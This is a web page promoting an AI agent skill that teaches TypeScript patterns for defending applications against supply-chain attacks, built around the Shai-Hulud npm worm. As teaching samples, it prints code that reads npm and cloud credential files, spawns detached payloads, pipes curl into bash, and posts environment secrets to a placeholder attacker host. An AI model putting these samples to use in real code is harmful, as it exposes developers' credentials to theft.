Agent Capability Analysis
The supply-chain-secure-code skill by tacogips is an open-source community AI agent skill for Claude Code and other IDE workflows, helping agents execute tasks with better context, repeatability, and domain-specific guidance. Optimized for TypeScript supply chain security, secure coding patterns for dependencies.
Ideal Agent Persona
Perfect for Security-Focused Agents needing robust TypeScript coding patterns to defend against supply chain attacks.
Core Value
Empowers agents to secure application code by providing defensive coding patterns against supply chain attacks, handling credentials and tokens with secure protocols, and ensuring safe dependency loading and execution using TypeScript.
↓ Capabilities Granted for supply-chain-secure-code
! Prerequisites & Limits
- Requires TypeScript environment
- Focused on application code level security
Browser Sandbox Environment
⚡️ Ready to unleash?
Experience this Agent in a zero-setup browser environment powered by WebContainers. No installation required.
supply-chain-secure-code
Install supply-chain-secure-code, an AI agent skill for AI agent workflows and automation. Works with Claude Code, Cursor, and Windsurf with one-command...
Supply Chain Secure Code
This skill provides TypeScript coding patterns that defend against supply chain attacks at the application code level. While supply-chain-secure-install and supply-chain-secure-publish handle package management, this skill addresses what happens inside your code when dependencies are loaded and executed.
When to Apply
Apply these guidelines when:
- Importing and using third-party packages
- Handling credentials, tokens, or API keys in code
- Spawning child processes or executing shell commands
- Loading configuration from files or environment variables
- Writing code that reads/writes
.npmrc,.env, or credential files - Implementing runtime checks for dependency integrity
- Reviewing code for supply chain attack vectors
Threat Model: Code-Level Attack Vectors
In the Shai-Hulud attacks, malicious code inside compromised packages performed:
| Code-Level Attack | Description | Defense |
|---|---|---|
| Credential file reading | Read .npmrc, .env, cloud credential files | Restrict file access, use secrets managers |
| Environment variable exfiltration | Dump process.env and send to attacker | Minimize env vars, validate at boundaries |
| HTTP exfiltration | Send stolen data via HTTP to attacker C&C | Monitor outbound connections, CSP |
| Child process spawning | Execute curl, PowerShell, or download binaries | Validate all subprocess invocations |
| GitHub API abuse | Use stolen tokens to create repos, register runners | Short-lived tokens, minimal scopes |
| DNS manipulation | Modify /etc/resolv.conf to redirect traffic | Avoid running as root, monitor DNS config |
| Firewall manipulation | Delete iptables rules to enable C&C communication | Run in restricted containers |
| Lifecycle script exploitation | preinstall/postinstall in package.json runs arbitrary code | Bun blocks by default; never add packages to trustedDependencies without review |
NOTE: Bun blocks lifecycle scripts by default. The code patterns below address threats that execute AFTER an attacker gains code execution (e.g., via a trusted dependency that was compromised, or code running in a CI/CD environment where scripts may be enabled).
Credential Handling
Never Hardcode Credentials
typescript1// BAD - hardcoded token 2const token = "npm_xxxxxxxxxxxxxxxxxxxx"; 3 4// BAD - template literal with partial hardcode 5const apiKey = `sk-${config.suffix}`; 6 7// GOOD - environment variable 8const token = process.env.NPM_TOKEN; 9if (!token) { 10 throw new Error("NPM_TOKEN environment variable is required"); 11}
Validate Credential Sources
typescript1import { z } from "zod"; 2 3// Define expected environment variables with validation 4const envSchema = z.object({ 5 DATABASE_URL: z.string().url(), 6 API_KEY: z.string().min(20), 7 // Explicitly list what is needed - nothing more 8}); 9 10// Validate at application startup 11const env = envSchema.parse(process.env); 12 13// Use validated env object, not raw process.env 14// This prevents accidentally leaking unexpected env vars
Credential Isolation
typescript1// BAD - passing entire process.env to subprocess 2Bun.spawn(["some-tool"], { 3 env: process.env, // Exposes ALL env vars including tokens 4}); 5 6// GOOD - pass only needed env vars 7Bun.spawn(["some-tool"], { 8 env: { 9 PATH: process.env.PATH ?? "", 10 HOME: process.env.HOME ?? "", 11 // Only pass what the tool actually needs 12 }, 13});
Credential Cleanup
typescript1// If a credential must be in memory, clear it when done 2function withCredential<T>( 3 envVar: string, 4 fn: (cred: string) => T 5): T { 6 const cred = process.env[envVar]; 7 if (!cred) { 8 throw new Error(`${envVar} not set`); 9 } 10 try { 11 return fn(cred); 12 } finally { 13 // Cannot truly clear from process.env in Node/Bun, 14 // but at least don't keep references 15 } 16}
Safe Dependency Usage
Import Validation
typescript1// GOOD - import from known, specific packages 2import { z } from "zod"; 3import { ok, err } from "neverthrow"; 4 5// SUSPICIOUS - dynamic imports from computed strings 6// This pattern was used by Shai-Hulud to load payloads 7const module = await import(`./${userInput}`); // DANGEROUS 8 9// SUSPICIOUS - imports from URLs 10const module = await import("https://example.com/module.js"); // DANGEROUS
Dependency Surface Minimization
typescript1// BAD - importing entire library for one function 2import _ from "lodash"; 3const result = _.debounce(fn, 300); 4 5// GOOD - import only what you need (reduces attack surface) 6import debounce from "lodash.debounce"; 7const result = debounce(fn, 300); 8 9// BEST - use Bun built-ins where available 10// Bun.hash(), Bun.file(), Bun.glob(), etc.
Avoid eval and Dynamic Code Execution
typescript1// DANGEROUS - eval executes arbitrary code 2eval(data); // NEVER 3new Function(data)(); // NEVER 4import(variable); // AVOID (use static imports) 5 6// The Shai-Hulud payload used obfuscated code executed at runtime 7// Any pattern that constructs and executes code is a risk
Subprocess Security
Validated Subprocess Execution
typescript1// BAD - shell injection via string interpolation 2Bun.spawn(["sh", "-c", `echo ${userInput}`]); 3 4// BAD - passing untrusted input to shell 5Bun.spawn(["sh", "-c", command]); 6 7// GOOD - use array form with explicit arguments 8Bun.spawn(["echo", userInput]); 9 10// GOOD - use Bun.$ with tagged template (auto-escapes) 11const result = await Bun.$`echo ${userInput}`;
Subprocess Environment Isolation
typescript1// CRITICAL: Never pass full process.env to subprocesses 2// Shai-Hulud specifically spawned processes with inherited env 3// to maintain access to stolen tokens 4 5const safeEnv: Record<string, string> = { 6 PATH: process.env.PATH ?? "/usr/bin:/bin", 7 HOME: process.env.HOME ?? "/tmp", 8 LANG: process.env.LANG ?? "en_US.UTF-8", 9 // Explicitly DO NOT include: 10 // - NPM_TOKEN 11 // - GITHUB_TOKEN 12 // - AWS_* credentials 13 // - AZURE_* credentials 14 // - GOOGLE_APPLICATION_CREDENTIALS 15}; 16 17const proc = Bun.spawn(["some-tool", "--flag"], { 18 env: safeEnv, 19 cwd: "/sandboxed/path", 20});
Never Download and Execute
typescript1// DANGEROUS - This is EXACTLY what Shai-Hulud does 2// setup_bun.js downloads and executes bun_environment.js 3 4// BAD 5const response = await fetch("https://example.com/script.js"); 6const code = await response.text(); 7eval(code); // NEVER 8 9// BAD 10await Bun.$`curl -sSL https://example.com/install.sh | bash`; 11 12// GOOD - if you must download tools, verify checksums 13import { createHash } from "crypto"; 14 15async function verifiedDownload( 16 url: string, 17 expectedSha256: string 18): Promise<ArrayBuffer> { 19 const response = await fetch(url); 20 const data = await response.arrayBuffer(); 21 const hash = createHash("sha256") 22 .update(Buffer.from(data)) 23 .digest("hex"); 24 25 if (hash !== expectedSha256) { 26 throw new Error( 27 `Integrity check failed: expected ${expectedSha256}, got ${hash}` 28 ); 29 } 30 return data; 31}
File Access Security
Credential File Protection
typescript1// Shai-Hulud reads these files to steal credentials: 2// - ~/.npmrc (npm tokens) 3// - ~/.config/gcloud/application_default_credentials.json (GCP) 4// - ~/.aws/credentials (AWS) 5// - ~/.azure/ (Azure) 6 7// If your code reads credential files, validate the path strictly 8import { resolve, normalize } from "path"; 9 10function safeResolvePath( 11 basePath: string, 12 userPath: string 13): string { 14 const resolved = resolve(basePath, userPath); 15 const normalized = normalize(resolved); 16 17 // Prevent path traversal 18 if (!normalized.startsWith(normalize(basePath))) { 19 throw new Error("Path traversal detected"); 20 } 21 22 return normalized; 23}
File Content Validation
typescript1import { z } from "zod"; 2 3// When loading config files, validate the schema 4const configSchema = z.object({ 5 apiEndpoint: z.string().url(), 6 timeout: z.number().int().positive().max(30000), 7 // Strict schema prevents injection of unexpected fields 8}); 9 10async function loadConfig(path: string): Promise<z.infer<typeof configSchema>> { 11 const file = Bun.file(path); 12 const raw = await file.json(); 13 return configSchema.parse(raw); // Throws on unexpected fields 14}
Network Security
Outbound Request Validation
typescript1// If your code makes HTTP requests, validate URLs 2const ALLOWED_HOSTS = new Set([ 3 "api.example.com", 4 "registry.npmjs.org", 5]); 6 7function validateUrl(url: string): URL { 8 const parsed = new URL(url); 9 10 if (!ALLOWED_HOSTS.has(parsed.hostname)) { 11 throw new Error(`Blocked request to unauthorized host: ${parsed.hostname}`); 12 } 13 14 // Block internal/metadata endpoints 15 if ( 16 parsed.hostname === "169.254.169.254" || // AWS/GCP metadata 17 parsed.hostname === "metadata.google.internal" || 18 parsed.hostname.endsWith(".internal") 19 ) { 20 throw new Error("Blocked request to cloud metadata endpoint"); 21 } 22 23 return parsed; 24}
HTTP Response Validation
typescript1import { z } from "zod"; 2 3// Always validate API responses - compromised dependencies 4// could return unexpected data 5const apiResponseSchema = z.object({ 6 data: z.array(z.object({ 7 id: z.string(), 8 name: z.string(), 9 })), 10 meta: z.object({ 11 total: z.number(), 12 }), 13}); 14 15async function fetchApi(url: string) { 16 const response = await fetch(url); 17 if (!response.ok) { 18 throw new Error(`HTTP ${response.status}`); 19 } 20 const json = await response.json(); 21 return apiResponseSchema.parse(json); // Validate shape 22}
Runtime Integrity Patterns
Package Integrity Verification
typescript1import { readFileSync } from "fs"; 2import { createHash } from "crypto"; 3 4// Verify critical dependency files at startup 5function verifyDependencyIntegrity( 6 checks: Array<{ path: string; expectedHash: string }> 7): void { 8 for (const { path, expectedHash } of checks) { 9 const content = readFileSync(path); 10 const actualHash = createHash("sha256") 11 .update(content) 12 .digest("hex"); 13 14 if (actualHash !== expectedHash) { 15 throw new Error( 16 `Integrity check failed for ${path}: ` + 17 `expected ${expectedHash}, got ${actualHash}` 18 ); 19 } 20 } 21} 22 23// Run at application startup for critical dependencies 24// verifyDependencyIntegrity([ 25// { path: "node_modules/critical-lib/index.js", expectedHash: "abc123..." }, 26// ]);
Startup Health Check
typescript1// Check for signs of compromise at application startup 2 3function startupSecurityCheck(): void { 4 // 1. Check for suspicious environment variables 5 const suspiciousVars = [ 6 "POSTINSTALL_BG", // Used by Shai-Hulud 2.0 for background execution 7 ]; 8 9 for (const varName of suspiciousVars) { 10 if (process.env[varName] !== undefined) { 11 console.error( 12 `WARNING: Suspicious environment variable detected: ${varName}` 13 ); 14 } 15 } 16 17 // 2. Check for unexpected processes (informational) 18 // The Shai-Hulud worm spawns detached background processes 19 20 // 3. Verify we are running the expected Bun version 21 const bunVersion = Bun.version; 22 // Log for audit purposes 23 console.log(`Runtime: Bun ${bunVersion}`); 24}
Code Review Checklist
When reviewing TypeScript code for supply chain security:
High Priority
- No hardcoded credentials, tokens, or API keys
- No
eval(),new Function(), or dynamicimport()with user input - No
curl | bashor download-and-execute patterns - Subprocess calls use array form, not shell string interpolation
- Subprocess calls do NOT inherit full
process.env - No reading of credential files (
.npmrc, cloud creds) without explicit need
Medium Priority
- All external HTTP requests validate response schemas
- File paths are validated against path traversal
- Environment variables are validated with schema (e.g., zod)
- Dependencies are imported statically, not dynamically
- Import surface is minimized (specific imports, not entire libraries)
Low Priority (Defense in Depth)
- Critical dependency integrity can be verified at startup
- Outbound network requests are limited to known hosts
- Startup health checks detect anomalous environment
- Logging does not include credential values
Anti-Patterns Detected in Shai-Hulud
These exact code patterns were used by the Shai-Hulud malware. Flag them during review:
typescript1// PATTERN 1: Read .npmrc to steal tokens 2// Shai-Hulud reads ~/.npmrc and CWD/.npmrc 3const npmrc = readFileSync(join(homedir(), ".npmrc"), "utf-8"); 4const token = npmrc.match(/_authToken=(.+)/)?.[1]; 5 6// PATTERN 2: Enumerate and hijack packages 7// Shai-Hulud queries npm registry for all maintainer packages 8const response = await fetch( 9 `https://registry.npmjs.org/-/v1/search?text=maintainer:${username}&size=100` 10); 11 12// PATTERN 3: Spawn detached background process 13// Shai-Hulud uses unref() to detach from parent 14const child = Bun.spawn(["bun", "payload.js"], { detached: true }); 15child.unref(); // Parent exits, child keeps running 16 17// PATTERN 4: Download and execute runtime 18// Shai-Hulud installs Bun via curl | bash 19await $`curl -fsSL https://bun.sh/install | bash`; 20 21// PATTERN 5: GitHub API abuse with stolen token 22// Shai-Hulud creates repos, registers self-hosted runners 23const octokit = new Octokit({ auth: stolenToken }); 24await octokit.repos.createForAuthenticatedUser({ 25 name: randomId, 26 description: "Shai-Hulud: The Second Coming.", 27}); 28 29// PATTERN 6: Cloud credential theft 30// Shai-Hulud reads GCP application default credentials 31const gcpCreds = readFileSync( 32 join(homedir(), ".config/gcloud/application_default_credentials.json") 33);
Defending Against Compromised Imports (Non-Lifecycle Attacks)
This is the biggest remaining gap after lifecycle script blocking. A future attacker could inject malicious code into a package's main source code instead of lifecycle scripts. This code would execute when your application imports the package -- Bun's default script blocking does NOT protect against this.
How This Attack Works
typescript1// Attacker compromises "popular-lib" and modifies its index.ts: 2export function doSomething() { 3 // Normal functionality preserved... 4 const result = actualImplementation(); 5 6 // BUT ALSO: silently exfiltrate credentials 7 // This runs when your code imports and calls this function 8 try { 9 globalThis.fetch?.("https://attacker.example.com/collect", { 10 method: "POST", 11 body: JSON.stringify({ 12 env: process.env, 13 cwd: process.cwd(), 14 npmrc: require("fs").readFileSync( 15 require("path").join(require("os").homedir(), ".npmrc"), "utf-8" 16 ).catch(() => ""), 17 }), 18 }).catch(() => {}); 19 } catch {} 20 21 return result; 22}
Defense Layers
Layer 1: minimumReleaseAge (Preventive)
The cooldown period remains effective -- it delays when you receive any new version, giving the community time to detect compromised code.
Layer 2: Lockfile Review (Detective)
Review bun.lock (text) changes in every pull request:
bash1# In CI: check for unexpected dependency changes 2git diff origin/main -- bun.lock
Look for:
- Version bumps you did not request
- New transitive dependencies
- Changed integrity hashes
Layer 3: Network Egress Control (Containment)
Restrict what network connections your application can make:
typescript1// For applications with known API endpoints, 2// implement an egress allowlist at the HTTP client level 3 4const ALLOWED_EGRESS_HOSTS = new Set([ 5 "api.yourservice.com", 6 "registry.npmjs.org", 7 "github.com", 8]); 9 10// Monkey-patch fetch for development/testing (NOT production) 11if (process.env.NODE_ENV === "development") { 12 const originalFetch = globalThis.fetch; 13 globalThis.fetch = async (input, init) => { 14 const url = new URL(typeof input === "string" ? input : input.url); 15 if (!ALLOWED_EGRESS_HOSTS.has(url.hostname)) { 16 console.warn(`[SECURITY] Blocked egress to: ${url.hostname}`); 17 throw new Error(`Egress blocked: ${url.hostname}`); 18 } 19 return originalFetch(input, init); 20 }; 21}
For production, use OS/container-level network policies:
bash1# Docker: restrict outbound network 2docker run --network=restricted-net your-app 3 4# Kubernetes: NetworkPolicy 5# CI/CD: restrict runner network egress
Layer 4: Private Registry / Proxy (Preventive)
Route all package installs through a private registry that provides additional scanning:
toml1# bunfig.toml 2[install] 3registry = "https://your-private-registry.example.com/"
Options:
- Verdaccio: Self-hosted, free, npm-compatible proxy
- Artifactory / Nexus: Enterprise, with vulnerability scanning
- Socket.dev proxy: Behavioral analysis of packages
Layer 5: SBOM and Dependency Monitoring (Detective)
Generate Software Bill of Materials for continuous monitoring:
bash1# Generate SBOM in CycloneDX format 2bunx @cyclonedx/cyclonedx-npm --output-file sbom.json 3 4# Or SPDX format 5bunx @spdx/sbom-generator --output sbom.spdx.json
Integrate with monitoring:
- Dependabot / Renovate for automated update PRs
- GitHub Dependency Graph for visibility
- Socket.dev for behavioral analysis
- Snyk for vulnerability scanning
GitHub Token Hardening
Shai-Hulud 2.0 specifically abuses GitHub PATs to create C&C infrastructure, register self-hosted runners, and inject malicious workflows. Minimize the blast radius of stolen tokens.
Fine-Grained PATs (Mandatory)
NEVER use classic PATs. Always use fine-grained personal access tokens:
| Setting | Recommendation |
|---|---|
| Resource owner | Specific organization, not personal |
| Repository access | Only selected repositories, NEVER "All repositories" |
| Expiration | 30 days maximum |
| Permissions | Minimum required (see below) |
Minimal Permission Sets
# For CI/CD that only reads code:
Contents: read
Metadata: read
# For CI/CD that creates releases:
Contents: write
Metadata: read
# NEVER grant these unless absolutely needed:
# - Administration (Shai-Hulud uses this to register runners)
# - Actions: write (Shai-Hulud uses this to inject workflows)
# - Workflows (Shai-Hulud uses this to create discussion.yaml)
GitHub Actions Token Restrictions
yaml1# In GitHub Actions, always set minimal permissions 2permissions: 3 contents: read 4 5# NEVER use: 6permissions: write-all # Gives attacker full access 7 8# For jobs that need specific permissions: 9jobs: 10 deploy: 11 permissions: 12 contents: read 13 deployments: write 14 # Each permission is explicitly justified
Self-Hosted Runner Security
Shai-Hulud registers compromised machines as self-hosted runners named "SHA1HULUD":
- Monitor runner registrations - alert on new self-hosted runners
- Use ephemeral runners - runners that are destroyed after each job
- Restrict runner groups - limit which workflows can use which runners
- Never run self-hosted runners on developer machines - use dedicated VMs/containers
bash1# Check for unexpected self-hosted runners 2gh api repos/{owner}/{repo}/actions/runners --jq '.runners[] | .name' 3 4# Look for: "SHA1HULUD" or any unrecognized runner names
Post-Compromise Detection
Use this checklist if you suspect your environment may have been compromised by Shai-Hulud or similar attacks.
Immediate Checks
bash1# 1. Check for Shai-Hulud marker repositories 2# Shai-Hulud creates repos with description "Shai-Hulud: The Second Coming." 3gh repo list --json name,description --jq '.[] | select(.description | test("Shai.Hulud"; "i"))' 4 5# 2. Check for unexpected self-hosted runners 6gh api repos/{owner}/{repo}/actions/runners --jq '.runners[] | {name, status, os}' 7# RED FLAG: runner named "SHA1HULUD" 8 9# 3. Check for injected workflows 10find .github/workflows -name "*.yml" -newer package.json 11# RED FLAG: discussion.yaml or anything you did not create 12 13# 4. Check for unexpected GitHub Actions workflow runs 14gh run list --limit 20 --json name,status,createdAt 15# RED FLAG: "Code Formatter" workflow you did not create 16 17# 5. Check npm token activity 18bunx npm token list 19# RED FLAG: tokens you did not create 20 21# 6. Check npm package publish history 22bunx npm info <your-package> time 23# RED FLAG: recent publishes you did not make
File System Checks
bash1# 7. Check for Shai-Hulud artifacts 2find ~ -name "setup_bun.js" -o -name "bun_environment.js" 2>/dev/null 3# RED FLAG: these files should not exist 4 5# 8. Check for unauthorized bun installations 6which -a bun 7ls ~/.dev-env/ 2>/dev/null 8# RED FLAG: bun installed in unexpected locations (e.g., ~/.dev-env/) 9 10# 9. Check for modified DNS configuration 11cat /etc/resolv.conf 12# RED FLAG: unexpected DNS servers 13 14# 10. Check for modified firewall rules (Linux) 15sudo iptables -L OUTPUT 2>/dev/null 16sudo iptables -L DOCKER-USER 2>/dev/null 17# RED FLAG: rules have been deleted
Process Checks
bash1# 11. Check for suspicious background processes 2ps aux | grep -E "(bun_environment|setup_bun|SHA1HULUD)" 3# RED FLAG: any matches 4 5# 12. Check for processes connecting to unexpected hosts 6# (requires lsof or ss) 7ss -tunp | grep -v -E "(127.0.0.1|::1|your-known-hosts)" 8# RED FLAG: connections to unknown external hosts 9 10# 13. Check environment for Shai-Hulud markers 11env | grep POSTINSTALL_BG 12# RED FLAG: POSTINSTALL_BG=1 means payload is running in background
Cloud Credential Checks
bash1# 14. AWS: Check for unauthorized access 2aws sts get-caller-identity 3aws secretsmanager list-secrets --region us-east-1 4# RED FLAG: access from unexpected principal or region 5 6# 15. GCP: Check for unauthorized access 7gcloud auth list 8gcloud secrets list 2>/dev/null 9# RED FLAG: unexpected service accounts 10 11# 16. Azure: Check for unauthorized access 12az account show 13az keyvault list 2>/dev/null 14# RED FLAG: unexpected subscriptions or vaults
If Compromise Is Confirmed
-
Immediately rotate ALL credentials:
- npm tokens
- GitHub PATs and SSH keys
- AWS/GCP/Azure credentials
- Any secrets stored in CI/CD
- Database passwords
-
Unpublish compromised package versions
-
Remove unauthorized GitHub runners and workflows
-
Review and revoke GitHub App authorizations
-
Check git history for unauthorized commits
-
Notify affected downstream users
-
File incident report with npm security (security@npmjs.com)
References
FAQ & Installation Steps
These questions and steps mirror the structured data on this page for better search understanding.
? Frequently Asked Questions
What is supply-chain-secure-code?
Perfect for Security-Focused Agents needing robust TypeScript coding patterns to defend against supply chain attacks. supply-chain-secure-code is a set of TypeScript coding patterns that defend against supply chain attacks by securing dependencies and credentials in application code.
How do I install supply-chain-secure-code?
Run the command: npx killer-skills add tacogips/codex-agent/supply-chain-secure-code. It works with Cursor, Windsurf, VS Code, Claude Code, and 19+ other IDEs.
What are the use cases for supply-chain-secure-code?
Key use cases include: Securing third-party package imports, Protecting credentials and API keys in code, Validating dependency execution for child processes.
Which IDEs are compatible with supply-chain-secure-code?
This skill is compatible with Cursor, Windsurf, VS Code, Trae, Claude Code, OpenClaw, Aider, Codex, OpenCode, Goose, Cline, Roo Code, Kiro, Augment Code, Continue, GitHub Copilot, Sourcegraph Cody, and Amazon Q Developer. Use the Killer-Skills CLI for universal one-command installation.
Are there any limitations for supply-chain-secure-code?
Requires TypeScript environment. Focused on application code level security.
↓ How To Install
-
1. Open your terminal
Open the terminal or command line in your project directory.
-
2. Run the install command
Run: npx killer-skills add tacogips/codex-agent/supply-chain-secure-code. The CLI will automatically detect your IDE or AI agent and configure the skill.
-
3. Start using the skill
The skill is now active. Your AI agent can use supply-chain-secure-code immediately in the current project.